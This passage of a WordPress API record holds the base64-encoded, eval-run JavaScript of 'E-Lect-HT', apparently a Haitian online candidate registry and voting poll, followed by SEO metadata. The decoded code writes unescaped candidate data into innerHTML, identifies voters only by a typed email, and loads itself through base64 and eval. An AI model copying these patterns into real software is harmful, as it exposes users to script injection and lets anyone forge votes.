0LmdldEVsZW1lbnRCeUlkKCdmaWx0ZXJQb3N0ZScpLnZhbHVlOwogIGNvbnN0IHRleHRGaWx0ZXIgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmlsdGVyVGV4dCcpLnZhbHVlLnRvTG93ZXJDYXNlKCk7CiAgbGV0IGZpbHRlcmVkID0gYWxsQ2FuZGlkYXRlcy5maWx0ZXIoYyA9PiB7CiAgICBpZiAocG9zdGVGaWx0ZXIgJiYgYy5wb3N0ZSAhPT0gcG9zdGVGaWx0ZXIpIHJldHVybiBmYWxzZTsKICAgIGlmICh0ZXh0RmlsdGVyICYmICEoKGMuZnVsbE5hbWV8fCcnKS50b0xvd2VyQ2FzZSgpLmluY2x1ZGVzKHRleHRGaWx0ZXIpIHx8IChjLmxvY2F0aW9ufHwnJykudG9Mb3dlckNhc2UoKS5pbmNsdWRlcyh0ZXh0RmlsdGVyKSkpIHJldHVybiBmYWxzZTsKICAgIHJldHVybiB0cnVlOwogIH0pOwogIGlmIChmaWx0ZXJlZC5sZW5ndGggPT09IDApIHsgZWwuaW5uZXJIVE1MID0gJzxkaXYgY2xhc3M9ImVtcHR5Ij5BdWN1bmUgZmljaGUgY2FuZGlkYXQuPC9kaXY+JzsgcmV0dXJuOyB9CiAgZWwuaW5uZXJIVE1MID0gZmlsdGVyZWQubWFwKGMgPT4gewogICAgY29uc3QgaW5pdGlhbHMgPSBzbHVnSW5pdChjLmZ1bGxOYW1lKTsKICAgIGNvbnN0IHBob3RvID0gYy5waG90b1VybCA\/IGA8aW1nIGNsYXNzPSJwaG90byIgc3JjPSIke2MucGhvdG9Vcmx9IiBvbmVycm9yPSJ0aGlzLm91dGVySFRNTD0nPGRpdiBjbGFzcz1waG90bz4ke2luaXRpYWxzfTwvZGl2PiciPmAgOiBgPGRpdiBjbGFzcz0icGhvdG8iPiR7aW5pdGlhbHN9PC9kaXY+YDsKICAgIHJldHVybiBgPGRpdiBjbGFzcz0iY2FuZGlkYXRlLWNhcmQiPiR7cGhvdG99CiAgICAgIDxkaXYgY2xhc3M9ImNpbmZvIj4KICAgICAgICA8aDM+JHtjLmZ1bGxOYW1lfTwvaDM+CiAgICAgICAgPHNwYW4gY2xhc3M9ImJhZGdlIj4ke2MucG9zdGV9IOKAlCAke2MubG9jYXRpb259PC9zcGFuPgogICAgICAgICR7Yy5wYXJ0eSA\/IGA8c3BhbiBjbGFzcz0iYmFkZ2UgcGFydHkiPiR7Yy5wYXJ0eX0ke2MucGFydHlOdW1iZXIgPyAnICMnICsgYy5wYXJ0eU51bWJlciA6ICcnfTwvc3Bhbj5gIDogJyd9CiAgICAgICAgPHA+PHNwYW4gY2xhc3M9ImxhYmVsIj5CaW86PC9zcGFuPiAke2MuYmlvfHwnJ308L3A+CiAgICAgICAgJHtjLm1vdGl2YXRpb24gPyBgPHA+PHNwYW4gY2xhc3M9ImxhYmVsIj5Nb3RpdmF0aW9uOjwvc3Bhbj4gJHtjLm1vdGl2YXRpb259PC9wPmAgOiAnJ30KICAgICAgICA8cD48c3BhbiBjbGFzcz0ibGFiZWwiPlByb2dyYW1tZTo8L3NwYW4+ICR7Yy5wcm9ncmFtbWV8fCcnfTwvcD4KICAgICAgICAke2Muc29jaWFscyA\/IGA8cD48c3BhbiBjbGFzcz0ibGFiZWwiPlLDqXNlYXV4Ojwvc3Bhbj4gJHtjLnNvY2lhbHN9PC9wPmAgOiAnJ30KICAgICAgPC9kaXY+PC9kaXY+YDsKICB9KS5qb2luKCcnKTsKfQoKLy8gLS0tLS0tLS0tLSBTT05EQUdFIC0tLS0tLS0tLS0KY29uc3QgUkFDRV9ERUZTID0gWwogIHsgcG9zdGU6J1Byw6lzaWRlbnQnLCBmaWVsZDpudWxsLCBsYWJlbDoiUHLDqXNpZGVudCBkJ0hhw690aSIsIGZpeGVkTG9jYXRpb246J05hdGlvbmFsJyB9LAogIHsgcG9zdGU6J1PDqW5hdGV1cicsIGZpZWxkOidkZXBhcnRlbWVudCcsIGxhYmVsOidTw6luYXRldXInIH0sCiAgeyBwb3N0ZTonRMOpcHV0w6knLCBmaWVsZDonY29tbXVuZScsIGxhYmVsOidEw6lwdXTDqScgfSwKICB7IHBvc3RlOidNYWlyZScsIGZpZWxkOidjb21tdW5lJywgbGFiZWw6J01haXJlJyB9LAogIHsgcG9zdGU6J0TDqWzDqWd1w6kgZGUgdmlsbGUnLCBmaWVsZDonYXJyb25kaXNzZW1lbnQnLCBsYWJlbDonRMOpbMOpZ3XDqSBkZSB2aWxsZScgfSwKICB7IHBvc3RlOidBU0VDJywgZmllbGQ6J3NlY3Rpb25fY29tbXVuYWxlJywgbGFiZWw6J0FTRUMnIH0sCiAgeyBwb3N0ZTonQ0FTRUMnLCBmaWVsZDonc2VjdGlvbl9jb21tdW5hbGUnLCBsYWJlbDonQ0FTRUMnIH0KXTsKbGV0IHNldHRpbmdzID0geyB2b3Rpbmdfb3BlbjpmYWxzZSwgcmVzdWx0c192aXNpYmxlOmZhbHNlIH07CmxldCB2b3RlclByb2ZpbGUgPSBudWxsOwpsZXQgc2VsZWN0aW9ucyA9IHt9OwoKYXN5bmMgZnVuY3Rpb24gaW5pdFNvbmRhZ2UoKSB7CiAgdHJ5IHsKICAgIGNvbnN0IGRhdGEgPSBhd2FpdCBhdFJlcXVlc3QoVEFCTEVTLnNldHRpbmdzLCB7IHBhcmFtczogJ2ZpbHRlckJ5Rm9ybXVsYT0nICsgZW5jb2RlVVJJQ29tcG9uZW50KCJ7bmFtZX09J0dsb2JhbCciKSB9KTsKICAgIGlmIChkYXRhLnJlY29yZHMgJiYgZGF0YS5yZWNvcmRzWzBdKSBzZXR0aW5ncyA9IGRhdGEucmVjb3Jkc1swXS5maWVsZHM7CiAgfSBjYXRjaCAoZSkge30KICBjb25zdCBiYW5uZXIgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2V0dGluZ3NCYW5uZXInKTsKICBiYW5uZXIuaW5uZXJIVE1MID0gc2V0dGluZ3Mudm90aW5nX29wZW4KICAgID8gJzxkaXYgY2xhc3M9ImJhbm5lciBvcGVuIj7wn5+iIExlIHZvdGUgZXN0IG91dmVydC48L2Rpdj4nCiAgICA6ICI8ZGl2IGNsYXNzPVwiYmFubmVyIGNsb3NlZFwiPvCflJIgTGUgdm90ZSBuJ2VzdCBwYXMgZW5jb3JlIG91dmVydC4gVm91cyBwb3V2ZXogY3LDqWVyIHZvdHJlIGNvbXB0ZSwgaWwgc2VyYSBhY3RpdsOpIHBsdXMgdGFyZCBwYXIgbCdhZG1pbmlzdHJhdGV1ci48L2Rpdj4iOwoKICBpZiAoc2V0dGluZ3MucmVzdWx0c192aXNpYmxlKSB7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmVzdWx0c0NhcmQnKS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzsKICAgIGxvYWRSZXN1bHRzKCk7CiAgfSBlbHNlIHsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZXN1bHRzQ2FyZCcpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgfQp9Cgphc3luYyBmdW5jdGlvbiBzdGFydFZvdGluZygpIHsKICBjb25zdCBzdGF0dXNFbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpZGVudGlmeVN0YXR1cycpOwogIGNvbnN0IG5hbWUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndm90ZXJOYW1lJykudmFsdWUudHJpbSgpOwogIGNvbnN0IGVtYWlsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3ZvdGVyRW1haWwnKS52YWx1ZS50cmltKCk7CiAgaWYgKCFuYW1lIHx8ICFlbWFpbCkgewogICAgc3RhdHVzRWwudGV4dENvbnRlbnQgPSAnTWVyY2kgZGUgcmVtcGxpciB2b3RyZSBub20gZXQgdm90cmUgZW1haWwuJzsKICAgIHN0YXR1c0VsLmNsYXNzTmFtZSA9ICdzdGF0dXMgZXJyJzsKICAgIHJldHVybjsKICB9CiAgc3RhdHVzRWwudGV4dENvbnRlbnQgPSAnVsOpcmlmaWNhdGlvbi4uLic7CiAgc3RhdHVzRWwuY2xhc3NOYW1lID0gJ3N0YXR1cyc7CgogIGNvbnN0IHByb2ZpbGUgPSB7CiAgICBmdWxsX25hbWU6IG5hbWUsIGVtYWlsLAogICAgZGVwYXJ0ZW1lbnQ6IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd2b3RlckRlcHQnKS52YWx1ZS50cmltKCksCiAgICBjb21tdW5lOiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndm90ZXJDb21tdW5lJykudmFsdWUudHJpbSgpLAogICAgYXJyb25kaXNzZW1lbnQ6IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd2b3RlckFycicpLnZhbHVlLnRyaW0oKSwKICAgIHNlY3Rpb25fY29tbXVuYWxlOiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndm90ZXJTZWN0aW9uJykudmFsdWUudHJpbSgpCiAgfTsKCiAgdHJ5IHsKICAgIGNvbnN0IGV4aXN0aW5nID0gYXdhaXQgYXRSZXF1ZXN0KFRBQkxFUy52b3RlcnMsIHsgcGFyYW1zOiAnZmlsdGVyQnlGb3JtdWxhPScgKyBlbmNvZGVVUklDb21wb25lbnQoYHtlbWFpbH09JyR7ZW1haWwucmVwbGFjZSgvJy9nLCJcXCciKX0nYCkgfSk7CiAgICBpZiAoZXhpc3RpbmcucmVjb3JkcyAmJiBleGlzdGluZy5yZWNvcmRzLmxlbmd0aCA+IDApIHsKICAgICAgdm90ZXJQcm9maWxlID0geyBpZDogZXhpc3RpbmcucmVjb3Jkc1swXS5pZCwgLi4uZXhpc3RpbmcucmVjb3Jkc1swXS5maWVsZHMgfTsKICAgIH0gZWxzZSB7CiAgICAgIGNvbnN0IGNyZWF0ZWQgPSBhd2FpdCBhdFJlcXVlc3QoVEFCTEVTLnZvdGVycywgeyBtZXRob2Q6J1BPU1QnLCBib2R5OnsgcmVjb3JkczpbeyBmaWVsZHM6IHByb2ZpbGUgfV0gfSB9KTsKICAgICAgdm90ZXJQcm9maWxlID0geyBpZDogY3JlYXRlZC5yZWNvcmRzWzBdLmlkLCAuLi5jcmVhdGVkLnJlY29yZHNbMF0uZmllbGRzIH07CiAgICB9CiAgICBzdGF0dXNFbC50ZXh0Q29udGVudCA9ICcnOwogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lkZW50aWZ5Q2FyZCcpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICBpZiAoc2V0dGluZ3Mudm90aW5nX29wZW4pIHsKICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3ZvdGVTZWN0aW9uJykuc3R5bGUuZGlzcGxheSA9ICdibG9jayc7CiAgICAgIGF3YWl0IGxvYWRSYWNlcygpOwogICAgfSBlbHNlIHsKICAgICAgc3RhdHVzRWwudGV4dENvbnRlbnQgPSAnVm90cmUgY29tcHRlIGVzdCBwcsOqdC4gUmV2ZW5leiB1bmUgZm9pcyBsZSB2b3RlIG91dmVydC4nOwogICAgICBzdGF0dXNFbC5jbGFzc05hbWUgPSAnc3RhdHVzIG9rJzsKICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lkZW50aWZ5Q2FyZCcpLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOwogICAgfQogIH0gY2F0Y2ggKGUpIHsKICAgIHN0YXR1c0VsLnRleHRDb250ZW50ID0gJ+KdjCAnICsgZS5tZXNzYWdlOwogICAgc3RhdHVzRWwuY2xhc3NOYW1lID0gJ3N0YXR1cyBlcnInOwogIH0KfQoKYXN5bmMgZnVuY3Rpb24gbG9hZFJhY2VzKCkgewogIGNvbnN0IGxpc3RFbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyYWNlc0xpc3QnKTsKICBsaXN0RWwuaW5uZXJIVE1MID0gJzxkaXYgY2xhc3M9ImVtcHR5Ij5DaGFyZ2VtZW50Li4uPC9kaXY+JzsKICBjb25zdCBleGlzdGluZ1ZvdGVzID0gYXdhaXQgYXRSZXF1ZXN0KFRBQkxFUy52b3RlcywgeyBwYXJhbXM6J2ZpbHRlckJ5Rm9ybXVsYT0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGB7dm90ZXJfZW1haWx9PScke3ZvdGVyUHJvZmlsZS5lbWFpbC5yZXBsYWNlKC8nL2csIlxcJyIpfSdgKSB9KTsKICBjb25zdCB2b3RlZEtleXMgPSB7fTsKICAoZXhpc3RpbmdWb3Rlcy5yZWNvcmRzIHx8IFtdKS5mb3JFYWNoKHIgPT4gdm90ZWRLZXlzW3IuZmllbGRzLnBvc3RlICsgJ3wnICsgci5maWVsZHMubG9jYXRpb25dID0gdHJ1ZSk7CgogIGxldCBodG1sID0gJyc7CiAgZm9yIChjb25zdCBkZWYgb2YgUkFDRV9ERUZTKSB7CiAgICBjb25zdCBsb2NhdGlvbiA9IGRlZi5maXhlZExvY2F0aW9uIHx8ICh2b3RlclByb2ZpbGVbZGVmLmZpZWxkXSB8fCAnJykudHJpbSgpOwogICAgaWYgKCFsb2NhdGlvbikgY29udGludWU7CiAgICBjb25zdCBmaWx0ZXIgPSBgQU5EKHtwb3N0ZX09JyR7ZGVmLnBvc3RlLnJlcGxhY2UoLycvZywiXFwnIil9JywgTE9XRVIoe2xvY2F0aW9ufSk9TE9XRVIoJyR7bG9jYXRpb24ucmVwbGFjZSgvJy9nLCJcXCciKX0nKSlgOwogICAgY29uc3QgY2FuZHMgPSBhd2FpdCBhdFJlcXVlc3QoVEFCTEVTLmNhbmRpZGF0ZXMsIHsgcGFyYW1zOiAnZmlsdGVyQnlGb3JtdWxhPScgKyBlbmNvZGVVUklDb21wb25lbnQoZmlsdGVyKSArICcmZmllbGRzW109ZnVsbF9uYW1lJmZpZWxkc1tdPXBob3RvX3VybCZmaWVsZHNbXT1wYXJ0eScgfSk7CiAgICBpZiAoIWNhbmRzLnJlY29yZHMgfHwgY2FuZHMucmVjb3Jkcy5sZW5ndGggPT09IDApIGNvbnRpbnVlOwoKICAgIGNvbnN0IGtleSA9IGRlZi5wb3N0ZSArICd8JyArIGxvY2F0aW9uOwogICAgaHRtbCArPSBgPGRpdiBjbGFzcz0icmFjZSI+PGgzPiR7ZGVmLmxhYmVsfSDigJQgJHtsb2NhdGlvbn08L2gzPmA7CiAgICBpZiAodm90ZWRLZXlzW2tleV0pIHsKICAgICAgaHRtbCArPSBgPGRpdiBjbGFzcz0idm90ZWQtdGFnIj7inIUgVm91cyBhdmV6IGTDqWrDoCB2b3TDqSBwb3VyIGNlIHBvc3RlLjwvZGl2PmA7CiAgICB9IGVsc2UgewogICAgICBjYW5kcy5yZWNvcmRzLmZvckVhY2gociA9PiB7CiAgICAgICAgY29uc3QgaW5pdGlhbHMgPSBzbHVnSW5pdChyLmZpZWxkcy5mdWxsX25hbWUpOwogICAgICAgIGh0bWwgKz0gYDxsYWJlbCBjbGFzcz0iY2FuZC1vcHRpb24iPgogICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJyYWNlXyR7a2V5LnJlcGxhY2UoL1xXL2csJ18nKX0iIHZhbHVlPSIke3IuaWR9IiBkYXRhLW5hbWU9IiR7ci5maWVsZHMuZnVsbF9uYW1lfSIgb25jaGFuZ2U9InNlbGVjdGlvbnNbJyR7a2V5fSddPXtpZDonJHtyLmlkfScsIG5hbWU6JyR7KHIuZmllbGRzLmZ1bGxfbmFtZXx8JycpLnJlcGxhY2UoLycvZywiXFwnIil9J30iPgogICAgICAgICAgPGRpdiBjbGFzcz0iaW5pdCI+JHtpbml0aWFsc308L2Rpdj4KICAgICAgICAgIDxzcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDo2MDA7Ij4ke3IuZmllbGRzLmZ1bGxfbmFtZX08L3NwYW4+JHtyLmZpZWxkcy5wYXJ0eSA\/IGA8c3BhbiBzdHlsZT0iZGlzcGxheTpibG9jaztmb250LXNpemU6MTJweDtjb2xvcjp2YXIoLS1tdXRlZCk7Ij4ke3IuZmllbGRzLnBhcnR5fTwvc3Bhbj5gIDogJyd9PC9zcGFuPgogICAgICAgIDwvbGFiZWw+YDsKICAgICAgfSk7CiAgICB9CiAgICBodG1sICs9IGA8L2Rpdj5gOwogIH0KICBsaXN0RWwuaW5uZXJIVE1MID0gaHRtbCB8fCAnPGRpdiBjbGFzcz0iZW1wdHkiPkF1Y3VuZSBjb3Vyc2UgZGlzcG9uaWJsZSBwb3VyIHZvdHJlIGxvY2FsaXNhdGlvbi48L2Rpdj4nOwp9Cgphc3luYyBmdW5jdGlvbiBzdWJtaXRWb3RlcygpIHsKICBjb25zdCBzdGF0dXNFbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd2b3RlU3RhdHVzJyk7CiAgY29uc3Qga2V5cyA9IE9iamVjdC5rZXlzKHNlbGVjdGlvbnMpOwogIGlmIChrZXlzLmxlbmd0aCA9PT0gMCkgewogICAgc3RhdHVzRWwudGV4dENvbnRlbnQgPSAnU8OpbGVjdGlvbm5leiBhdSBtb2lucyB1biBjYW5kaWRhdC4nOwogICAgc3RhdHVzRWwuY2xhc3NOYW1lID0gJ3N0YXR1cyBlcnInOwogICAgcmV0dXJuOwogIH0KICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3VibWl0Vm90ZXNCdG4nKS5kaXNhYmxlZCA9IHRydWU7CiAgc3RhdHVzRWwudGV4dENvbnRlbnQgPSAnRW5yZWdpc3RyZW1lbnQuLi4nOwogIHN0YXR1c0VsLmNsYXNzTmFtZSA9ICdzdGF0dXMnOwoKICB0cnkgewogICAgZm9yIChjb25zdCBrIG9mIGtleXMpIHsKICAgICAgY29uc3QgW3Bvc3RlLCBsb2NhdGlvbl0gPSBrLnNwbGl0KCd8Jyk7CiAgICAgIGNvbnN0IHNlbCA9IHNlbGVjdGlvbnNba107CiAgICAgIGF3YWl0IGF0UmVxdWVzdChUQUJMRVMudm90ZXMsIHsgbWV0aG9kOidQT1NUJywgYm9keTp7IHJlY29yZHM6W3sgZmllbGRzOnsKICAgICAgICB2b3Rlcl9lbWFpbDogdm90ZXJQcm9maWxlLmVtYWlsLCBwb3N0ZSwgbG9jYXRpb24sIGNhbmRpZGF0ZV9pZDogc2VsLmlkLCBjYW5kaWRhdGVfbmFtZTogc2VsLm5hbWUKICAgICAgfX1dfX0pOwogICAgfQogICAgLy8gcmVjaGFyZ2VyIHRvdXMgbGVzIHZvdGVzIGR1IHZvdGFudCBwb3VyIGNvbnN0cnVpcmUgbGUgcsOpY2FwaXR1bGF0aWYKICAgIGNvbnN0IGFsbFZvdGVzID0gYXdhaXQgYXRSZXF1ZXN0KFRBQkxFUy52b3RlcywgeyBwYXJhbXM6J2ZpbHRlckJ5Rm9ybXVsYT0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGB7dm90ZXJfZW1haWx9PScke3ZvdGVyUHJvZmlsZS5lbWFpbC5yZXBsYWNlKC8nL2csIlxcJyIpfSdgKSB9KTsKICAgIGNvbnN0IHN1bW1hcnlMaW5lcyA9IChhbGxWb3Rlcy5yZWNvcmRzIHx8IFtdKS5tYXAociA9PiBgJHtyLmZpZWxkcy5wb3N0ZX0gKCR7ci5maWVsZHMubG9jYXRpb259KSA6ICR7ci5maWVsZHMuY2FuZGlkYXRlX25hbWV9YCk7CiAgICBjb25zdCBzdW1tYXJ5ID0gc3VtbWFyeUxpbmVzLmpvaW4oU3RyaW5nLmZyb21DaGFyQ29kZSgxMCkpOwoKICAgIGF3YWl0IGF0UmVxdWVzdChUQUJMRVMudm90ZXJzLCB7IG1ldGhvZDonUEFUQ0gnLCBib2R5OnsgcmVjb3JkczpbeyBpZDogdm90ZXJQcm9maWxlLmlkLCBmaWVsZHM6eyB2b3RlX3N1bW1hcnk6IHN1bW1hcnksIHN1Ym1pdHRlZDogdHJ1ZSB9IH1dIH0gfSk7CgogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3ZvdGVTZWN0aW9uJykuc3R5bGUuZGlzcGxheSA9ICdub25lJzsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb25maXJtUmVjYXAnKS5pbm5lckhUTUwgPSBzdW1tYXJ5TGluZXMubWFwKGwgPT4gYDxkaXYgY2xhc3M9InJlc3VsdC1yb3ciPjxzcGFuPiR7bH08L3NwYW4+PC9kaXY+YCkuam9pbignJyk7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY29uZmlybVZvdGVDYXJkJykuc3R5bGUuZGlzcGxheSA9ICdibG9jayc7CiAgfSBjYXRjaCAoZSkgewogICAgc3RhdHVzRWwudGV4dENvbnRlbnQgPSAn4p2MICcgKyBlLm1lc3NhZ2U7CiAgICBzdGF0dXNFbC5jbGFzc05hbWUgPSAnc3RhdHVzIGVycic7CiAgfQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdWJtaXRWb3Rlc0J0bicpLmRpc2FibGVkID0gZmFsc2U7Cn0KCmFzeW5jIGZ1bmN0aW9uIGxvYWRSZXN1bHRzKCkgewogIGNvbnN0IGVsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Jlc3VsdHNMaXN0Jyk7CiAgdHJ5IHsKICAgIGNvbnN0IGRhdGEgPSBhd2FpdCBhdFJlcXVlc3QoVEFCTEVTLnZvdGVzLCB7fSk7CiAgICBjb25zdCB0YWxseSA9IHt9OwogICAgKGRhdGEucmVjb3JkcyB8fCBbXSkuZm9yRWFjaChyID0+IHsKICAgICAgY29uc3Qga2V5ID0gci5maWVsZHMucG9zdGUgKyAnIOKAlCAnICsgci5maWVsZHMubG9jYXRpb247CiAgICAgIHRhbGx5W2tleV0gPSB0YWxseVtrZXldIHx8IHt9OwogICAgICBjb25zdCBuYW1lID0gci5maWVsZHMuY2FuZGlkYXRlX25hbWUgfHwgJ+KAlCc7CiAgICAgIHRhbGx5W2tleV1bbmFtZV0gPSAodGFsbHlba2V5XVtuYW1lXSB8fCAwKSArIDE7CiAgICB9KTsKICAgIGlmIChPYmplY3Qua2V5cyh0YWxseSkubGVuZ3RoID09PSAwKSB7IGVsLmlubmVySFRNTCA9ICc8ZGl2IGNsYXNzPSJlbXB0eSI+QXVjdW4gcsOpc3VsdGF0IHBvdXIgbGUgbW9tZW50LjwvZGl2Pic7IHJldHVybjsgfQogICAgbGV0IGh0bWwgPSAnJzsKICAgIGZvciAoY29uc3Qga2V5IGluIHRhbGx5KSB7CiAgICAgIGh0bWwgKz0gYDxoNCBzdHlsZT0ibWFyZ2luOjE0cHggMCA2cHg7Ij4ke2tleX08L2g0PmA7CiAgICAgIGNvbnN0IHJvd3MgPSBPYmplY3QuZW50cmllcyh0YWxseVtrZXldKS5zb3J0KChhLGIpID0+IGJbMV0tYVsxXSk7CiAgICAgIHJvd3MuZm9yRWFjaCgoW25hbWUsIGNvdW50XSkgPT4gaHRtbCArPSBgPGRpdiBjbGFzcz0icmVzdWx0LXJvdyI+PHNwYW4+JHtuYW1lfTwvc3Bhbj48c3Ryb25nPiR7Y291bnR9PC9zdHJvbmc+PC9kaXY+YCk7CiAgICB9CiAgICBlbC5pbm5lckhUTUwgPSBodG1sOwogIH0gY2F0Y2ggKGUpIHsKICAgIGVsLmlubmVySFRNTCA9ICc8ZGl2IGNsYXNzPSJlbXB0eSI+SW1wb3NzaWJsZSBkZSBjaGFyZ2VyIGxlcyByw6lzdWx0YXRzLjwvZGl2Pic7CiAgfQp9Cg==`;\nconst _elhtBytes = Uint8Array.from(atob(_elhtB64), c => c.charCodeAt(0));\nconst _elhtCode = new TextDecoder('utf-8').decode(_elhtBytes);\n(0, eval)(_elhtCode);\n<\/script>\n","protected":false},"excerpt":{"rendered":"<p>E-Lect-HT La technologie au service du vote et la d\u00e9mocratie Nous virtualisons l&rsquo;\u00e9lectorat ha\u00eftien \ud83d\udcdd Fiche candidat \ud83d\udccb Candidats \ud83d\uddf3\ufe0f Sondage Nom complet * Parti politique (laisser vide ou \u00ab\u00a0Ind\u00e9pendant\u00a0\u00bb) Num\u00e9ro du parti (si le parti en a d\u00e9j\u00e0 un) \u00c0 laisser vide si ind\u00e9pendant ou si le parti n&rsquo;a pas encore de num\u00e9ro. Logo [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":921,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":"","beyondwords_generate_audio":"","beyondwords_project_id":"","beyondwords_content_id":"","beyondwords_preview_token":"","beyondwords_player_content":"","beyondwords_player_style":"","beyondwords_language_code":"","beyondwords_language_id":"","beyondwords_title_voice_id":"","beyondwords_body_voice_id":"","beyondwords_summary_voice_id":"","beyondwords_error_message":"","beyondwords_disabled":"","beyondwords_delete_content":"","beyondwords_podcast_id":"","beyondwords_hash":"","publish_post_to_speechkit":"","speechkit_hash":"","speechkit_generate_audio":"","speechkit_project_id":"","speechkit_podcast_id":"","speechkit_error_message":"","speechkit_disabled":"","speechkit_access_key":"","speechkit_error":"","speechkit_info":"","speechkit_response":"","speechkit_retries":"","speechkit_status":"","speechkit_updated_at":"","_speechkit_link":"","_speechkit_text":""},"class_list":["post-889","page","type-page","status-publish","has-post-thumbnail","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>E-Lect-HT - Le Distingo Info<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/ledistingoinfo.com\/e-lect-ht\/\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"E-Lect-HT - Le Distingo Info\" \/>\n<meta property=\"og:description\" content=\"E-Lect-HT La technologie au service du vote et la d\u00e9mocratie Nous virtualisons l&rsquo;\u00e9lectorat ha\u00eftien \ud83d\udcdd Fiche candidat \ud83d\udccb Candidats \ud83d\uddf3\ufe0f Sondage Nom complet * Parti politique (laisser vide ou \u00ab\u00a0Ind\u00e9pendant\u00a0\u00bb) Num\u00e9ro du parti (si le parti en a d\u00e9j\u00e0 un) \u00c0 laisser vide si ind\u00e9pendant ou si le parti n&rsquo;a pas encore de num\u00e9ro. Logo [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/ledistingoinfo.com\/e-lect-ht\/\" \/>\n<meta property=\"og:site_name\" content=\"Le Distingo Info\" \/>\n<meta property=\"article:modified_time\" content=\"2026-09-16T17:21:07+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/ledistingoinfo.com\/wp-content\/uploads\/2026\/09\/10031251248107045242313101288-e1789579175147.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1254\" \/>\n\t<meta property=\"og:image:height\" content=\"810\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Dur\u00e9e de lecture estim\u00e9e\" \/>\n\t<meta name=\"twitter:data1\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/ledistingoinfo.com\\\/e-lect-ht\\\/\",\"url\":\"https:\\\/\\\/ledistingoinfo.com\\\/e-lect-ht\\\/\",\"name\":\"E-Lect-HT - Le Distingo Info\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/ledistingoinfo.com\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/ledistingoinfo.com\\\/e-lect-ht\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/ledistingoinfo.com\\\/e-lect-ht\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/ledistingoinfo.com\\\/wp-content\\\/uploads\\\/2026\\\/09\\\/10031251248107045242313101288-e1789579175147.png?fit=1254%2C810&ssl=1\",\"datePublished\":\"2026-09-12T15:36:54+00:00\",\"dateModified\":\"2026-09-16T17:21:07+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/ledistingoinfo.com\\\/e-lect-ht\\\/#breadcrumb\"},\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/ledistingoinfo.com\\\/e-lect-ht\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\\\/\\\/ledistingoinfo.com\\\/e-lect-ht\\\/#primaryimage\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/ledistingoinfo.com\\\/wp-content\\\/uploads\\\/2026\\\/09\\\/10031251248107045242313101288-e1789579175147.png?fit=1254%2C810&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/ledistingoinfo.com\\\/wp-content\\\/uploads\\\/2026\\\/09\\\/10031251248107045242313101288-e1789579175147.png?fit=1254%2C810&ssl=1\",\"width\":1254,\"height\":810,\"caption\":\"Logo officiel: 